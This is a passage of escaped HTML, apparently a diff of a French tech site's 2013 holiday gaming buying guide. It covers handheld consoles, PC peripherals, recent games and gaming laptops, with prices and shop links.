+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; des consoles portables, deux concurrentes restent en lice : la PlayStation Vita, et la 3DS. La premi&amp;egrave;re souffre depuis son lancement d'un catalogue assez peu fourni, quand on le compare &amp;agrave; celui de sa concurrente. Certes, quelques bons titres sont disponibles, comme Killzone : Mercenary, ou Tearaway, &amp;nbsp;mais cela peut paraitre l&amp;eacute;ger face &amp;agrave; un Zelda : A Link Between Worlds pour ne citer que lui.&lt;/p&gt;
+&lt;p&gt;[PDN]813528[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ceci &amp;eacute;tant, la PlayStation Vita trouve un alli&amp;eacute; de poids : son prix. En effet, officiellement la console seule est vendue au prix de 199 euros. Cependant on retrouve des packs plut&amp;ocirc;t sympathiques au m&amp;ecirc;me tarif, nous en retiendrons trois : Le Sports &amp;amp; Racing Mega Pack est certainement le plus int&amp;eacute;ressant du lot, puisqu'il comprend une console en version Wi-Fi + 3G ainsi que huit jeux, dont Motor Storm RC et Gran Turismo (PSP) et une carte m&amp;eacute;moire de 8 Go. Le Mega Pack Kids et le Pack Jak and Daxter Trilogy comprennent &amp;eacute;galement une carte de 8 Go, mais la console ne dispose que du Wi-Fi.&lt;/p&gt;
+&lt;h3&gt;La 3DS &amp;eacute;crase tout sur son passage&lt;/h3&gt;
+&lt;p&gt;Si Nintendo n'a pas de quoi avoir le sourire quand on parle de ses consoles fixes, sur le march&amp;eacute; des portables tous les feux sont au vert. En effet, la 3DS et ses d&amp;eacute;riv&amp;eacute;s que sont la 2DS et la 3DS XL se vendent comme des petits pains, ce gr&amp;acirc;ce &amp;agrave; leur tarif plut&amp;ocirc;t attractif, et &amp;agrave; leur catalogue plus que riche.&lt;/p&gt;
+&lt;p&gt;[PDN]624041[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Tout au bas de l'&amp;eacute;chelle on retrouvera la 2DS, une console identique au niveau mat&amp;eacute;riel &amp;agrave; la 3DS, mais ne disposant pas de la fonction 3D. Celle-ci se n&amp;eacute;gocie juste en dessous de la barre des 120 euros et est vendue sans aucun jeu. Si vous ne comptez pas emmener votre console lors de chaque d&amp;eacute;placement son encombrement un peu plus &amp;eacute;lev&amp;eacute; ne posera aucun probl&amp;egrave;me et elle s'av&amp;eacute;rera alors comme un tr&amp;egrave;s bon choix.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]735359[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vient ensuite la 3DS, vendue &lt;a href="http://www.prixdunet.com/s/256/Nintendo+3DS+.html" target="_blank"&gt;169 euros&lt;/a&gt; nues, et sa grande soeur, la 3DS XL qui se n&amp;eacute;gocie &amp;agrave; partir de &lt;a href="http://www.prixdunet.com/s/256/Nintendo+3DS+.html" target="_blank"&gt;179 euros&lt;/a&gt;. Attention, cette derni&amp;egrave;re est fournie sans son chargeur, comptez une dizaine d'euros suppl&amp;eacute;mentaires si vous n'en poss&amp;eacute;dez pas d&amp;eacute;j&amp;agrave; un. Divers packs disponibles permettent d'&amp;eacute;conomiser quelques euros Comme celui comprenant la 3DS XL avec&amp;nbsp;&lt;em&gt;Animal Crossing New Leaf&lt;/em&gt;&lt;a href="http://pdn.im/1d0VsOp" target="_blank"&gt; pour 199 euros.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Parce qu'un ouvrier doit avoir de bons outils, un joueur se doit de poss&amp;eacute;der de bons p&amp;eacute;riph&amp;eacute;riques. Vous trouverez ci-dessous tout l'arsenal dont vous pourrez avoir besoin lors de vos (longues) s&amp;eacute;ances de jeu. Les tendances sont globalement les m&amp;ecirc;mes que l'an dernier. Les claviers haut de gamme offrent un toucher m&amp;eacute;canique, tandis que les fabricants de souris font la course au DPI. Du c&amp;ocirc;t&amp;eacute; des consoles, les accessoires ne manquent pas, m&amp;ecirc;me s'ils ne sont pas encore pass&amp;eacute;s &amp;agrave; la nouvelle g&amp;eacute;n&amp;eacute;ration pour supporter les PlayStation 4 et Xbox One.&lt;/p&gt;
+&lt;h3&gt;&lt;strong&gt;Souris : le laser a toujours la c&amp;ocirc;te&lt;/strong&gt;&lt;/h3&gt;
+&lt;p&gt;Indispensable pour jouer dans de bonnes conditions, la souris peut rapidement vous donner mal &amp;agrave; la t&amp;ecirc;te au moment de la choisir. En effet, parmi la centaine de r&amp;eacute;f&amp;eacute;rences d&amp;eacute;di&amp;eacute;es aux joueurs disponibles sur le march&amp;eacute;, toutes ne se valent pas et surtout toutes ne conviendront pas forc&amp;eacute;ment &amp;agrave; votre morphologie. Heureusement, nous en avons s&amp;eacute;lectionn&amp;eacute; quelques-unes pour vous afin d'&amp;eacute;laguer un peu tout cela.&lt;/p&gt;
+&lt;p&gt;[PDN]726861[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si la plupart des constructeurs basent leur communication sur leurs mod&amp;egrave;les haut de gamme, sachez qu'il est d&amp;eacute;j&amp;agrave; possible de se faire plaisir avec une petite trentaine d'euros. La &lt;a href="http://www.prixdunet.com/s/Kinzu+V2.html" target="_blank"&gt;Kinzu V2 de chez Steelseries&lt;/a&gt;, d&amp;eacute;j&amp;agrave; pr&amp;eacute;sente dans notre s&amp;eacute;lection l'an pass&amp;eacute;, garde sa place gr&amp;acirc;ce &amp;agrave; son prix contenu mais surtout &amp;agrave; son format qui conviendra aux droitiers comme aux gauchers. Son capteur optique d'une r&amp;eacute;solution de 3600 dpi suffira &amp;agrave; la plupart des utilisations et n'a pas &amp;agrave; rougir face &amp;agrave; un laser d'entr&amp;eacute;e de gamme. Comptez tout de m&amp;ecirc;me de 32 &amp;agrave; 40 euros selon le coloris choisi.&lt;/p&gt;
+&lt;p&gt;[PDN]790986[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Logitech a renouvel&amp;eacute; cette ann&amp;eacute;e sa gamme de souris et la v&amp;eacute;n&amp;eacute;rable G500 a fini par tirer sa r&amp;eacute;v&amp;eacute;rence. Pour la remplacer, le constructeur Suisse propose la &lt;a href="http://www.prixdunet.com/souris-pc/logitech-g500s-790986.html" target="_blank"&gt;G500s&lt;/a&gt;, un mod&amp;egrave;le qui ne repr&amp;eacute;sente finalement qu'une &amp;eacute;volution en douceur. Le capteur n'&amp;eacute;volue pas, et propose toujours une r&amp;eacute;solution de 5700 DPI maximum ainsi que trois pr&amp;eacute;r&amp;eacute;glages pour la faire varier &amp;agrave; la vol&amp;eacute;e. La molette est toujours d&amp;eacute;brayable et la forme de la souris reste la m&amp;ecirc;me. Le tarif n'&amp;eacute;volue pas non plus, ce qui est plut&amp;ocirc;t une bonne nouvelle. Comptez donc un peu plus de 50 euros.&lt;/p&gt;
+&lt;h3&gt;Claviers : toutes les marques misent sur le toucher m&amp;eacute;canique&lt;/h3&gt;
+&lt;p&gt;L&amp;agrave; encore, la tendance de 2012 se confirme encore en cette fin d'ann&amp;eacute;e : les touches m&amp;eacute;caniques envahissent nos claviers, tout du moins sur le haut de gamme. En effet, les interrupteurs&lt;a href="http://www.keyboardco.com/blog/index.php/2012/12/an-introduction-to-cherry-mx-mechanical-switches/" target="_blank"&gt; Cherry MX&lt;/a&gt; Red, Blue, Brown sont de plus en plus repr&amp;eacute;sent&amp;eacute;s. Pour rappel, ceux-ci n&amp;eacute;cessitent g&amp;eacute;n&amp;eacute;ralement moins d'efforts pour &amp;ecirc;tre activ&amp;eacute;s, qu'un interrupteur &amp;agrave; d&amp;ocirc;me ou &amp;agrave; ciseaux, tout en ayant certaines particularit&amp;eacute;s, comme un retour tactile, sonore ou lin&amp;eacute;aire.&lt;/p&gt;
+&lt;p&gt;[PDN]682495[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Dans l'entr&amp;eacute;e de gamme destin&amp;eacute;e aux joueurs force est de constater que les constructeurs ne se bousculent pas au portillon. Ainsi pour moins de 50 euros il n'y a pas foule de mod&amp;egrave;les. On notera tout de m&amp;ecirc;me le &lt;a href="http://www.prixdunet.com/s/58/logitech+G105.html" target="_blank"&gt;G105 de Logitech&lt;/a&gt;, et le Raptor K30 de chez Corsair, tous deux disponibles autour de ce prix. L'un comme l'autre disposent de touches r&amp;eacute;tro&amp;eacute;clair&amp;eacute;es ainsi que d'un syst&amp;egrave;me d'anti-ghosting permettant l'appui sur plusieurs touches simultan&amp;eacute;ment sans encombre.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]760655[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si vous recherchez un clavier m&amp;eacute;canique d&amp;eacute;di&amp;eacute; au jeu, le ticket d'entr&amp;eacute;e se situe autour de la barre des 90 euros. Dans cette gamme de prix, on retrouve notamment le &lt;a href="http://www.prixdunet.com/s/58/CM+Storm+Quick+Fire+TK.html" target="_blank"&gt;CM Storm Quick Fire TK&lt;/a&gt; de Cooler Master, qui a la particularit&amp;eacute; d'&amp;ecirc;tre disponible en deux versions : l'une avec des interrupteurs Cherry MX Red l'autre avec des Cherry MX Brown. Par contre, afin de limiter sa largeur, le constructeur a pris le parti de supprimer les quatre fl&amp;egrave;ches directionnelles, ce qui ne devrait pas poser de probl&amp;egrave;mes aux amateurs de FPS.&lt;/p&gt;
+&lt;h3&gt;Jouer &amp;agrave; la manette sur PC n'est pas un sacril&amp;egrave;ge&lt;/h3&gt;
+&lt;p&gt;Nous poursuivons ce tour d'horizon des accessoires pour joueurs du c&amp;ocirc;t&amp;eacute; des manettes pour PC. Si ce p&amp;eacute;riph&amp;eacute;rique n'est pas adapt&amp;eacute; &amp;agrave; certains types de jeux comme les FPS ou les jeux de strat&amp;eacute;gie, n'en d&amp;eacute;plaise &amp;agrave; Valve et son &lt;a href="http://www.pcinpact.com/news/83899-valve-montre-son-steam-controller-en-action-sur-quatre-jeux-pc.htm" target="_blank"&gt;Steam Controller&lt;/a&gt;, mais d'autres comme jes jeux de course ou de plateformes sont plus agr&amp;eacute;ables avec un pad.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]116211[/PDN]&lt;/p&gt;
+&lt;p&gt;&lt;br /&gt;Les r&amp;eacute;f&amp;eacute;rences ne pullulent pas sur le march&amp;eacute;, nous n'en retiendrons donc que deux, qui ne se distinguent principalement que par leur forme. En effet, on retrouve d'un c&amp;ocirc;t&amp;eacute; le classique pad Xbox 360 filaire pour PC, en tous points identique &amp;agrave; celui fourni avec la console et de l'autre, le F310 Gamepad de Logitech, qui s'inspire tr&amp;egrave;s fortement de la manette DualShock. Un mod&amp;egrave;le qui s'affiche &amp;agrave; &lt;a href="http://pdn.im/1hd12CY" target="_blank"&gt;30 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les adeptes de jeux de combat chercheront par contre leur bonheur ailleurs. Pourquoi se contenter d'une simple manette quand on peut opter directement pour un stick arcade, et retrouver les m&amp;ecirc;mes sensations que sur une borne ? Plusieurs mod&amp;egrave;les existent et les tarifs oscillent entre 40 euros pour un contr&amp;ocirc;leur d'entr&amp;eacute;e de gamme, et cela grimpe &amp;agrave; plus de 300 euros pour les plus chers.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141338.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141338.png" alt="Razer Atrox" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si l'on souhaite &amp;eacute;viter les marques &amp;laquo; low-cost &amp;raquo;, on peut lorgner du c&amp;ocirc;t&amp;eacute; de BigBen qui propose divers mod&amp;egrave;les aux couleurs des jeux de combat du moment, comme &lt;a href="http://pdn.im/1hd1npg" target="_blank"&gt;ce mod&amp;egrave;le&lt;/a&gt; pour PS3 aux couleurs de&lt;em&gt; SoulCalibur&lt;/em&gt;.&amp;nbsp;Les plus fortun&amp;eacute;s pourront opter pour l'Atrox de Razer, qui a l'avantage de fonctionner sur PC et Xbox 360, mais cela se ressent c&amp;ocirc;t&amp;eacute; tarif.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver l'Atrox de Razer chez Amazon : &lt;a href="http://pdn.im/1hd1voD" target="_blank"&gt;180 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Volants, baquet et joysticks pour plus d'immersion&lt;/h3&gt;
+&lt;p&gt;Que l'on soit joueur sur console ou sur PC, on souhaite parfois pouvoir s'immerger davantage dans notre jeu pr&amp;eacute;f&amp;eacute;r&amp;eacute;, surtout s'il s'agit d'une simulation de course automobile ou d'aviation. pour pouvoir en profiter au maximum, un peu d'&amp;eacute;quipement s'impose.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;br /&gt;Les pilotes sur bitume opteront pour un si&amp;egrave;ge baquet sur lequel ils installeront, leur volant, leur p&amp;eacute;dalier et leur levier de vitesses. Bigben en propose d'assez complets avec des supports r&amp;eacute;glables pour vos p&amp;eacute;riph&amp;eacute;riques. Comptez tout de m&amp;ecirc;me &lt;a href="http://pdn.im/1hd20PH" target="_blank"&gt;240 euros&lt;/a&gt;.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]482360[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; volant, la r&amp;eacute;f&amp;eacute;rence du secteur reste le G27 de Logitech, d'autant que celui-ci fonctionne aussi bien sur PC que sur PlayStation 3. Celui-ci se compose d'un volant &amp;agrave; retour de force dot&amp;eacute; de deux moteurs, d'un p&amp;eacute;dalier en aluminium et d'un levier de vitesse &amp;agrave; 6 rapports.&lt;/p&gt;
+&lt;p&gt;[PDN]426458[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Enfin, les adeptes du manche &amp;agrave; balai pourront s'en donner &amp;agrave; c&amp;oelig;ur joie m&amp;ecirc;me avec un joystick d'entr&amp;eacute;e de gamme tel que le F.L.Y.5, plus connu sous le nom de Cyborg X de chez Saitek. Il permet d&amp;eacute;j&amp;agrave; de s'adonner &amp;agrave; quelques simulations a&amp;eacute;riennes bien plus confortablement qu'au clavier ou &amp;agrave; la souris. Deux manettes de gaz sont pr&amp;eacute;sentes, ainsi que la gestion des mouvements sur trois axes, par contre le retour de force manque &amp;agrave; l'appel.&lt;/p&gt;
+&lt;p&gt;[PDN]627633[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les plus exigeants et fortun&amp;eacute;s miseront quant &amp;agrave; eux sur un HOTAS, comme le Warthog de ThrustMaster. Celui-ci reprend &amp;agrave; l'identique la forme et la disposition des touches de celles du c&amp;eacute;l&amp;egrave;bre &lt;a href="http://fr.wikipedia.org/wiki/Fairchild_A-10_Thunderbolt_II" target="_blank"&gt;A-10C &lt;/a&gt;de l'US Air Force. Le mim&amp;eacute;tisme &amp;agrave; un prix :&lt;a href="http://www.prixdunet.com/accessoires-consoles-et-pc/thrustmaster-hotas-warthog-627633.html" target="_blank"&gt; plus de 300 euros&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Maintenant que vous avez pu choisir votre PC portable pour jouer avec notre s&amp;eacute;lection en page pr&amp;eacute;c&amp;eacute;dente, il est temps de lui donner de quoi s'occuper, nous avons donc s&amp;eacute;lectionn&amp;eacute; pour vous une brochette de titres r&amp;eacute;cents, qui devraient pouvoir plaire au plus grand nombre.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Battlefield 4 : la guerre comme si vous y etiez&lt;/h3&gt;
+&lt;p&gt;Difficile de faire une s&amp;eacute;lection sans parler de l'un des titres les plus attendus de cette fin d'ann&amp;eacute;e : &lt;a href="http://www.prixdunet.com/s/Battlefield+4.html" target="_blank"&gt;Battlefield 4&lt;/a&gt;. Electronic Arts a profit&amp;eacute; de l'arriv&amp;eacute;e sur le march&amp;eacute; des consoles &amp;laquo; next gen &amp;raquo; pour proposer quelques am&amp;eacute;liorations bienvenues &amp;agrave; son FPS phare.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]735021[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En effet, si les d&amp;eacute;cors sont toujours largement destructibles et se d&amp;eacute;sagr&amp;egrave;gent &amp;agrave; chacun de vos tirs, cela ne suffisait pas a l'&amp;eacute;diteur qui a ajout&amp;eacute; &amp;agrave; cela le syst&amp;egrave;me&amp;nbsp;&amp;laquo; Levolution &amp;raquo;. Le principe en est simple, certains &amp;eacute;l&amp;eacute;ments des cartes tels que des immeubles peuvent &amp;ecirc;tre enti&amp;egrave;rement d&amp;eacute;truits afin de changer durablement la morphologie du terrain de jeu. Ainsi on pourra par exemple faire s'effondrer un gratte-ciel pour ensuite s'affronter dans ses ruines. Seule ombre au tableau, l'utilisation d'Origin est obligatoire, ce qui pourra en rebuter certains.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver Battlefield 4&amp;nbsp;&lt;a href="http://pdn.im/1aMTzGr" target="_blank"&gt;sur Origin&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Football Manager 2014 : surv&amp;ecirc;tement fourni en option&lt;/h3&gt;
+&lt;p&gt;Si les fusillades n'ont aucun int&amp;eacute;r&amp;ecirc;t pour vous, et que la seule violence que vous acceptez de voir dans un jeu est celle d'un tacle assassin venu de l'arri&amp;egrave;re, alors, Football Manager 2014 est fait pour vous. Si les habitu&amp;eacute;s de la s&amp;eacute;rie connaissent certainement d&amp;eacute;j&amp;agrave; le principe, il est bon de rappeler qu'il n'est pas question ici d'un concurrent de &lt;a href="http://www.prixdunet.com/s/FIFA+14.html" target="_blank"&gt;FIFA 14&lt;/a&gt;, mais d'un jeu de gestion vous mettant dans la peau d'un entra&amp;icirc;neur de football.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140969.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-140969.jpeg" alt="Football Manager 2013" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Parmi les nouveaut&amp;eacute;s apport&amp;eacute;es par cette nouvelle &amp;eacute;dition, la plus marquante concerne l'apparition du fair-play financier. En effet, les clubs devront &amp;agrave; partir de 2016 obligatoirement montrer un bilan financier positif, s'ils ne veulent pas subir de sanctions de la part de l'UEFA, allant du retrait de points jusqu'&amp;agrave; l'exclusion de certaines comp&amp;eacute;titions.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Amazon : &lt;a href="http://pdn.im/1i8BAjq" target="_blank"&gt;35,41 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Fnac : &lt;a href="http://pdn.im/192F8u7" target="_blank"&gt;36,50 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Steam : &lt;a href="http://store.steampowered.com/app/231670/" target="_blank"&gt;49,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Batman Arkham Origins : jouez au justicier&lt;/h3&gt;
+&lt;p&gt;Si le ballon rond et les liasses de billets ne sont pas votre truc, et que vous pr&amp;eacute;f&amp;eacute;rez les capes et les costumes de super-h&amp;eacute;ros le dernier volet de la saga Batman Arkham est susceptible de vous int&amp;eacute;resser. Lors de&lt;a href="http://www.pcinpact.com/news/84115-revue-presse-batman-repond-au-bat-signal-dans-arkham-origins.htm" target="_blank"&gt; notre revue de presse &lt;/a&gt;nous avions pu voir que le titre n'apportait que peu de nouveaut&amp;eacute;s par rapport &amp;agrave; l'opus pr&amp;eacute;c&amp;eacute;dent, mais que cela permettait de garder le m&amp;ecirc;me gameplay plut&amp;ocirc;t bien rod&amp;eacute;.&lt;/p&gt;
+&lt;p&gt;[PDN]786166[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les fans de la s&amp;eacute;rie et de l'homme chauve-souris ne devraient donc pas &amp;ecirc;tre d&amp;eacute;&amp;ccedil;us, tandis que les amateurs de jeux d'action/aventure comme &lt;a href="http://www.prixdunet.com/s/Tomb+Raider.html" target="_blank"&gt;Tomb Raider&lt;/a&gt; devraient pouvoir eux aussi trouver leur compte.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Steam : &lt;a href="http://store.steampowered.com/app/209000/" target="_blank"&gt;49,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Rogue Legacy : les &amp;laquo; rogue-like &amp;raquo;&amp;nbsp;reviennent &amp;agrave; la mode&lt;/h3&gt;
+&lt;p&gt;Un &amp;laquo; rogue-like &amp;raquo;, est un type assez particulier de jeu o&amp;ugrave; le joueur doit parcourir divers donjons ou souterrains g&amp;eacute;n&amp;eacute;r&amp;eacute;s al&amp;eacute;atoirement dans le but de tuer des monstres, gagner de l'exp&amp;eacute;rience et trouver de l'&amp;eacute;quipement plus puissants lui permettant de tuer de plus gros monstres. Pour les plus jeunes, oui cela ressemble &amp;agrave;&lt;a href="http://www.prixdunet.com/s/341/Diablo+III.html" target="_blank"&gt;&lt;em&gt; Diablo III&lt;/em&gt;&lt;/a&gt;, les donjons al&amp;eacute;atoires en plus, et la 3D en moins.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141347.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141347.jpeg" alt="Rogue Legacy" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141346.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141346.jpeg" alt="Rogue Legacy" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Rogue Legacy reprend ce concept et y ajoute sa petite touche d'originalit&amp;eacute;. &amp;Agrave; chaque fois que votre h&amp;eacute;ros meurt, un de ses descendants directs vient le venger. Mais cela n'aurait rien de dr&amp;ocirc;le si ces derniers n'&amp;eacute;taient pas parfois atteints de tares cong&amp;eacute;nitales afin de corser un peu le d&amp;eacute;fi. Si vous avez toujours r&amp;ecirc;v&amp;eacute; de parcourir des donjons avec un mage p&amp;eacute;tomane ou un chevalier daltonien, n'h&amp;eacute;sitez plus une seule seconde et jetez un oeil &amp;agrave; la d&amp;eacute;mo jouable disponible &lt;a href="http://roguelegacy.com/" target="_blank"&gt;ici&lt;/a&gt;&amp;nbsp;avant de craquer pour le titre au complet.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Steam : &lt;a href="http://store.steampowered.com/app/241600/" target="_blank"&gt;13,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Chivalry Medieval Warfare et Deadliest Warrior : aiguisez votre lame pour les f&amp;ecirc;tes&lt;/h3&gt;
+&lt;p&gt;Terminons cette s&amp;eacute;lection avec un autre jeu ind&amp;eacute;pendant : Chivalry Medieval Warfare. Acclam&amp;eacute; pour son concept rafraichissant l'an pass&amp;eacute;,&amp;nbsp;ce jeu de combat m&amp;eacute;di&amp;eacute;val revient pour les f&amp;ecirc;tes avec une premi&amp;egrave;re extension : Deadliest Warrior.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141258.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141258.jpeg" alt="Chivalry Medieval Warfare" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Celle-ci apporte de nouvelles classes au jeu comme les Samoura&amp;iuml;s, les Vikings, les Ninjas ou les Pirates, ainsi que de nouvelles armes pour les accompagner. Malheureusement les cr&amp;eacute;ateurs du titre ne pr&amp;eacute;cisent pas si les Pirates pourront se battre avec leur perroquet. Quoi qu'il en soit, l'extension Deadliest Warrior est propos&amp;eacute;e au prix de&amp;nbsp;&lt;a href="http://store.steampowered.com/app/241280/" target="_blank"&gt;13,99 euros sur Steam&lt;/a&gt;, et un pack ajoutant le jeu original se monnaye contre 31,99 euros.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Steam : &lt;a href="http://store.steampowered.com/app/241280/" target="_blank"&gt;13,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;Les portables d&amp;eacute;di&amp;eacute;s aux joueurs sont de plus en plus nombreux et tous les constructeurs se doivent d'avoir au moins une machine au sein de leur catalogue. G&amp;eacute;n&amp;eacute;ralement, ce type de produits s'appuie sur un processeur Core de quatri&amp;egrave;me g&amp;eacute;n&amp;eacute;ration, alias Haswell, accompagn&amp;eacute; par une GeForce 700M de NVIDIA (voir &lt;a href="http://www.pcinpact.com/dossier/679-geforce-700m-analyse-de-la-gamme-mobile-de-nvidia/1.htm" target="_blank"&gt;notre analyse&lt;/a&gt;), mais certains font le choix de s&amp;eacute;lectionner des produits AMD.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On remarque cependant quelques changements par rapport aux ann&amp;eacute;es pr&amp;eacute;c&amp;eacute;dentes. Tout d'abord, les fabricants ont commenc&amp;eacute; &amp;agrave; r&amp;eacute;duire l'&amp;eacute;paisseur de leurs machines, les rendent plus l&amp;eacute;g&amp;egrave;res et surtout, dans certains cas, elles ne sont pas typ&amp;eacute;es &amp;laquo; gamer &amp;raquo;. Car ce dernier peut &amp;ecirc;tre &amp;agrave; double tranchant : soit l'on adh&amp;egrave;re, soit on d&amp;eacute;teste. Reste &amp;agrave; savoir si ce mouvement s'inscrit dans la dur&amp;eacute;e ou si nous avons droit &amp;agrave; un &amp;eacute;piph&amp;eacute;nom&amp;egrave;ne cette ann&amp;eacute;e seulement.&lt;/p&gt;
+&lt;h3&gt;MSI GX60-3BE 235FR : jouer sans se ruiner&lt;/h3&gt;
+&lt;p&gt;Commen&amp;ccedil;ons avec le&amp;nbsp;&lt;a href="http://www.prixdunet.com/s/4/GX60.html" target="_blank"&gt;GX60 de MSI&lt;/a&gt;, un portable de 15,6 pouces avec une dalle mate Full HD 1080p (1920 x 1080 pixels). Il s'appuie sur un APU A10-5750M d'AMD, qui inclue un processeur &amp;agrave; quatre c&amp;oelig;urs fonctionnant entre 2,5 et 3,5 GHz, accompagn&amp;eacute; par une Radeon HD 8650G int&amp;eacute;gr&amp;eacute;e au CPU. Mais il est surtout second&amp;eacute; par une &lt;a href="http://www.pcinpact.com/news/79725-amd-devoile-sa-radeon-hd-8970m-pour-50-mhz-plus.htm" target="_blank"&gt;Radeon HD 8970M&lt;/a&gt;, la carte la plus haut de gamme d'AMD. On retrouve aussi un disque dur de 750 Go &amp;agrave; 7200 tpm, mais seulement 4 Go de m&amp;eacute;moire vive (extensible jusqu'&amp;agrave; 32 Go).&lt;/p&gt;
+&lt;p&gt;[PDN]801454[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; connectique, il dispose de trois ports USB 3.0, dont un qui SuperCharger, un port USB 2.0, quatre prises jack de 3,5 mm ainsi qu'un trio de sorties VGA, HDMI et miniDP supportant la fonctionnalit&amp;eacute; Eyefinity d'AMD.&amp;nbsp;Le principal avantage de cette machine est avant tout son tarif : moins de &lt;a href="http://www.prixdunet.com/ordinateur-portable/msi-gx60-3be-235fr-801454.html" target="_blank"&gt;1000 euros&lt;/a&gt;. Notez que Materiel.net propose une version d&amp;eacute;nu&amp;eacute;e de syst&amp;egrave;me d'exploitation pour &lt;a href="http://pdn.im/1bPXuBv" target="_blank"&gt;899 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]793770[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Enfin, si vous souhaitez plus grand, sachez que le &lt;a href="http://www.prixdunet.com/ordinateur-portable/msi-gx70-3be-003fr-793770.html" target="_blank"&gt;GX70 est aussi disponible&lt;/a&gt; avec quasiment la m&amp;ecirc;me configuration que celle pr&amp;eacute;sent&amp;eacute;e ci-dessus, mais la m&amp;eacute;moire vive est doubl&amp;eacute;e et un port USB 2.0 est pr&amp;eacute;sent en plus du c&amp;ocirc;t&amp;eacute; de la connectique.&lt;/p&gt;
+&lt;h3&gt;ASUS N56JR : une machine de joueurs dans un bel &amp;eacute;crin&lt;/h3&gt;
